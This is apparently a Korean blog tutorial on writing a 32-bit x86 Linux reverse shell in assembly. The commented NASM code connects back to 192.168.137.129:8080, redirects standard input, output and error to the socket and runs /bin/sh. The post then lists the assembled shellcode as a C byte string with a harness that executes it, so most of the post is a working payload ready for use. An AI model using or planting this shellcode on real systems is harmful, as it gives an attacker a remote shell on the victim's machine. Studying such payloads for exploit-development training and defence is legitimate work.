본문 바로가기

Exploit

REVERSE SHELLCODE

SMALL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
bits 32
 
global main
section .text
main:
 
 
;EAX     시스템 콜(system call) 함수 번호
;EBX     첫번째 함수 인자
;ECX     두번째 함수 인자
;EDX     세번째 함수 인자
 
"소켓을 생성"
"sock = socket(AF_INET, SOCK_STREAM, 0)"
push BYTE 0x66             ; socketcall 시스템콜 102
pop eax                    ; eax에 socketcall 콜넘버 저장
cdq                        ; edx를 0으로 초기화
xor ebx, ebx               ; ebx를 0으로 초기화
inc ebx                    ; ebx = 1 -> SYS_SOCKET 소켓 생성
push edx                   ; socket()의 세번째 인자인 protocol 0
push BYTE 0x1              ; socket()의 두번째 인자인 SOCK_STREAM 1
push BYTE 0x2              ; socket()의 첫번째 인자인 AF_INET 2
mov ecx, esp               ; socket()의 인자 배열의 포인터를 ecx에 저장
int 0x80                   ; 시스템 콜 호출
                           ; socket함수 실행 후에 생성된 소켓 파일 디스크립터는 eax가 됨
xchg esi, eax              ; esi에 소켓 파일 디스크립터 저장
 
 
;connect(sock, (struct sockaddr*)&server, len);
push BYTE 0x66        ;socketcall 시스템콜 0x66
pop eax
add ebx,0x2        ;ebx =3 --> connect 함수
 
;struct socketaddr 만들기
;struct socketaddr_in
;sin_family_t word     메모리 구성 --> stack 구성 생각
;sin_port     word
;sin_addr     dword
;sin_zero     long long
push 0x8189a8c0        ;192.168.137.129
push WORD 0x901f    ;PORT = 0x8080
push WORD 0x2        ;AF_INET
mov ecx, esp        ;pointer sockeaddr
 
;push는 <-- 방향으로
;connect 함수 인자 마주기
push byte 16        ;connect()의 len
push ecx        ;connect()의 pointer sockaddr
push esi        ;connect()의 sock descriptor
mov ecx, esp        
int 0x80        ;call connect 함수
 
 
push BYTE 63
pop eax            ;systemcall
mov ebx, esi        ;2번째 인자 socket descriptor
cdq            
mov ecx, edx        ;3번재 인자 표준입력
int 0x80
 
 
push BYTE 63
pop eax
mov ebx, esi        ;2번째 인자 socket descriptor
inc ecx            ;3번째 인자 표준 출력
int 0x80
 
push BYTE 63
pop eax        
inc ecx            ;3번째 인자 표준에러
int 0x80
 
;execve("/bin/sh",0,0)
xor eax, eax        ;null byte
 
push 0x2f68732f        ;"/sh/"
push 0x6e69622f        ;"/bin" little endian
mov ebx, esp        ;"/bin/sh/"의 문자열 pointer
mov byte [ebx+7], al    ;"/bin/sh/"의 문자열에서 /을 null 값으로 변경
cdq
mov ecx, esp        ;2번째 인자 pointer --> null 값
push edx        ;3번째 인자 null 값
push byte 11
pop eax        ; execve 시스템콜 
int 0x80
cs
d

richong@ubuntu:~/shell$ nasm main.asm

위의 코드의 어셈코드를 긁어서 사용한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
#include "stdio.h"
 
int main()
{
        char* shellcode = "\x6a\x66\x58\x99\x31\xdb\x43\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x96\x6a\x66\x58\x83\xc3\x02\x68\xc0\xa8\x89\x81\x66\x68\x1f\x90\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x6a\x3f\x58\x89\xf3\x99\x89\xd1\xcd\x80\x6a\x3f\x58\x89\xf3\x41\xcd\x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x68\x2f\x73\x68\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x88\x43\x07\x99\x52\x89\xe1\x6a\x0b\x58\xcd\x80";
 
        void (*shell)(void);
 
        shell = (void*)shellcode;
 
        shell();
        return 0;
}


그리고 위와같이 사용해보면 된다.


참고 : http://inhack.org/wordpress/?p=2502

LIST

'Exploit' 카테고리의 다른 글

libc-database 정리  (0) 2017.07.18
Command Injection Sheet  (0) 2017.06.15
[MIPS] Shellcode  (0) 2017.04.13
MIPS BOF  (0) 2017.03.30
ARM Chain RTL  (0) 2016.12.29